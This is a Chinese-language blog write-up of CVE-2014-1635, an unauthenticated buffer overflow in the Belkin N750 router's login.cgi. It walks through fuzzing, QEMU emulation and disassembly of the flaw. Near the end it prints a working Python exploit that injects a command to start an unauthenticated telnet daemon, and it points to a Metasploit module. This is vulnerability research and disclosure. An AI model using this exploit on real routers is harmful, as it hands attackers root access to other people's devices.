事件跟踪:贝尔金路由器(Belkinrouter)0day溢出漏

  • A+
所属分类:硬件安全

漏洞概要

安全研究员MarcoVaz在贝尔金n750型号的路由器中发现一个严重的漏洞,该漏洞可以使攻击者在受害者的设备上获得Root访问权限(也就是管理员权限),更多内容请点我

该漏洞主要攻击的是路由器的Web界面,受攻击的路由器型号为N750DBWIFI双频N+千兆型,运行的固件版本为firmwareF9K1103_WW_1.10.16m。固件中存在一个无需认证可远程获取root权限的一个漏洞,只要设备连上网,利用该漏洞允许任意远程连接接入设备,危害等级高。

在实验环境中,我们成功获取到了受影响路由器设备的root权限。

漏洞发现过程

在漏洞的发现过程中,Fuzzing起到了至关重要的作用,在一些列的Fuzzing之后,我们注意到在日志文件中存在一个包含“jump”字段的POST包,因为载荷超过了5000bytes,导致了溢出,最终导致了进程崩掉了,到这里我们就能很清楚意识到这里存在一个溢出漏洞。

其实这个问题之前在很多相似的案例中就存在过,不过看到这里,我灵光一闪,我想,这个溢出能不能实现远程名录执行呢?

要实现这个目标,我想到了两种分析漏洞的流程:

1、漏洞进程虚拟化——在x86机器上开启mips进程的调式模式(将固件刷入模拟机器中)。但是这个过程需要一些二进制补丁来绕过QEMU的硬件限制。
2、给路由器的固件打补丁——这样需要在路由器上开一个后门,然后将调试工具放在路由器上,不过这种方式会增加路由器进程崩溃的可能性。

经过激烈的思想斗争,我最终选择使用第一种方式,因为这种方式比较简单而且能够在低风险的情况下完成我的工作。

首先,我下载了一个固件,经过测试,该固件存在这样的一个溢出。然后我尝试在linux系统上使用了一个mips32系统的模拟机,并成功将固件写入进去了,这样我们就可以进行更加深入的分析过程了。

虚拟化

在开始分析漏洞之前,我们首先要实现待分析进程的虚拟化过程,这个过程我们使用qemu-mipsel-static来完成。

在实验机器中我们执行以下命令:

chroot ./qemu-mipsel-static-strace -strace /usr/sbin/minhttpd

然后我们得到一个错误提示“Can’t
bindtoanyaddress”,这是因为进程在尝试绑定一个系统中不存在的IP地址。

然后我们看一下这个进程需要绑定什么IP

string squashfs-root/usr/sbin/minhttpd | grep -E “([0-9]{1,3}[\.]{3}[0-9]{1,3})”

然后我们就得到了进程需要绑定的IP地址,利用这个地址,我们成功的运行了进程。但是当我们尝试这个虚拟的设备的网页的时候出现了一个错误,这是因为qemu中没有/www目录而访问的时候需要访问这个目录,自然是会出错的

解决这个问题的方式有两种,第一种方式是使用LD_PRELOAD去加载一个库然后用minhttpd中的函数将文件路径改掉。第二种方式是使用binfmt模块以无缝嵌入方式来执行minhttpd而不是QEMU虚拟机执行,然后在执行命令之前首先cd到/www目录下。

下面是配置binfmt时我使用的签名:

echo ‘:mipsel:M::\x7fELF\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x08\x00:\xff\xff\xff
\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff:/usr/bin/qemu-mipsel-static:’
> /proc/sys/fs/binfmt_misc/register

下图演示了如何利用binfmt模块在x86系统上成功执行进程

然后我们运行进程并开启QEMU的跟踪(-d)模式,并成功找到了溢出点。

通过上图我们可以清晰的看到漏洞已经在模拟的mips32系统上成功复现。

为了确定正确的溢出字节数,这里我们不断增加载荷大小以观察minhttpd进程的反应:

·1300字节以下请求可以得到正确的执行处理
·1300字节以上2000字节以下minhttpd进程返回一个空的http响应
·超过2000字节minhttpd进程崩溃

这就意味者在1300字节到2000字节之前有东西溢出但不至于使得进程崩溃,这个比较奇怪。所以我对这个进程进行了深入的分析然后很快发现了一些有趣的东西,这个漏洞远远不是溢出漏洞远程代码执行这么简单的。

下图我们可以看到,载荷大于1300字节的时候,/bin/bash执行了拟造的部分命令

上图的画横线的部分就是执行的我们构造的命令,这说明利用一个合适大小的载荷,我们就有可能使得我们的常规请求被路由器所执行。

但是我们应该如何发挥这个后门的优势?这里反汇编就显得很有用了。

反汇编分析

利用IDA,我很快找到了这个问题的根源,溢出发生的最根本原因是使用了strcpy()函数而并没有对输入进行边界检查。

在下图中我们可以看出在0×00402570处使用了strcpy()函数

反汇编代码中我们可以看到strcpy()函数处理了POST包里的“jump”字段然后返回给了get_cgi()函数,地址为0×00402550

缓冲区溢出使得变量do_xread遭到了改写,而且这个变量直接决定了CGI脚本的执行。关键地址位于0x0040338C

在地址0x004033D0处我们可以看到,使用popen()函数成功导致了CGI的执行。popen()函数创建了一个进程,然后将命令传递给了shell并执行。所以popen()函数应该是使用/bin/bash的-c参数传递shell指令的的。

可执行的CGI名称也是在堆中介于0x004476D0和0x00447AD0之间的靠近变量do_xread的一个变量。因为两个变量相隔不远,所以只要构造合适的载荷大小,经过strcpy()的处理,就有可能同时覆盖变量do_xread(控制变量)和4476D0地址左右变量(控制可执行的CGI名称的变量)

正如之前描述的那样,CGI名是使用popen()函数进行处理的,所以我们可以一次性注入多条命令来取代文件名,命令之间使用逗号隔开。所以,该漏洞是可以通过请求实现远程命令执行的。

漏洞溢出利用

攻击者可以通过精心构造一个POST数据包来实现漏洞的溢出并实现RCE,只需要在“jump”字段处填充1379个字节(其中包括待执行命令),使得一个不为0的数值填充do_xread()函数,同时利用popen()函数成功实现命令执行。

下图展示了该漏洞是如何触发的

攻击代码

下面给出python的攻击代码

#!/usr/bin/python
#Title : Belkin n750 buffer overflow in jump login parameter
#Date : 28 Jan 2014
#Author : Discovered and developed by Marco Vaz <[email protected]>
#Testd on: Firmware: 1.10.16m (2012/9/14 6:6:56) / Hardware : F9K1103 v1 (01C)
import httplib
headers = {}body= “GO=&jump=”+ “a”*1379 +”%3b”+ “/usr/sbin/utelnetd -d” +”%3b&pws=\n\n”
conn = httplib.HTTPConnection(“192.168.169.1″,8080)
conn.request(“POST”, “/login.cgi”, body, headers)
response = conn.getresponse()data = response.read()
print data

作者同时写出了Metaspliot模块,能够执行iptables指令,功能比python脚本要多一些,大家可以在这里下载:belkin_rce_cve-2014-1635.rb

漏洞修复

关于漏洞的修复建议,大家可以参考这里:Belkinn750bufferoverflow(CVE-2014-1635)

  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的微信公众号
  • 我的微信公众号扫一扫
  • weinxin

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: